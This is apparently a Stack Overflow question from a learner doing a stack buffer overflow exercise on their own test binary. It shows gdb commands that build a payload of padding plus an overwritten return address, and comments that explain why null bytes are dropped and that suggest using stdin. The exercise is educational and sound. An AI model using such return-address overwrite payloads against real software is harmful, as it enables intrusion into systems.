1

I am using buffer overflow to overwrite the return address and calls another function. The name of function I call by overwriting the return address is not_called. Here is how I create the payload

(gdb) r $(python -c 'import sys; sys.stdout.write("A"*0x6c + "BBBB"+"\x3b\x42\x08\x08")')

The program works in the above case and not_called function is called. The problem arises when address of not_called is in this format : 0x57d. When I create payload as follows :

(gdb) r $(python -c 'import sys; sys.stdout.write("A"*0x6c + "BBBB"+"\x7d\x05\x00\x00")')

I get the following error and program won't work.

(gdb) r $(python -c 'import sys; sys.stdout.write("A"*0x6c + "BBBB"+"\x7d\x05\x00\x00")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/aditya/Desktop/victim $(python -c 'import sys; sys.stdout.write("A"*0x6c + "BBBB"+"\x7d\x05\x00\x00")')
/bin/bash: warning: command substitution: ignored null byte in input
0xffffd07c

Program received signal SIGSEGV, Segmentation fault.
0x5600057d in ?? ()

I have two questions:

  • Is bash warning ignoring the bytes 0,0 and not passing them?
  • Second, IF you look at address at SIGSEV, it is 0x5600057d, it should have been 0x0000057d.

How can I create such an address ?

Update : A little hack if someone just wants to experiment or do homework, do static linking (gcc -static) with stdlib.h string.h stdio.h . It will increase your program size. When you disassembe it, it's address will be large enough. There is no general solution to the problem. You can see this post at Security Stackexchange

13
  • 2
    Bash uses C-style null-terminated strings as command-line arguments, so you can't have null bytes in the arguments. This is why exploits use stdin, not arguments. Commented Apr 29, 2021 at 13:51
  • @Barmar How do I pass this payload ? I can use gets. I know I can store it in a file and use pipe. But what do I do inside gdb ? Commented Apr 29, 2021 at 14:06
  • stackoverflow.com/questions/8422259/… Commented Apr 29, 2021 at 14:09
  • r < filename or r < <(python -c ...) Commented Apr 29, 2021 at 14:09
  • @Barmar Same issue. I still get the address 0x5600057d Commented Apr 29, 2021 at 14:15

0

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.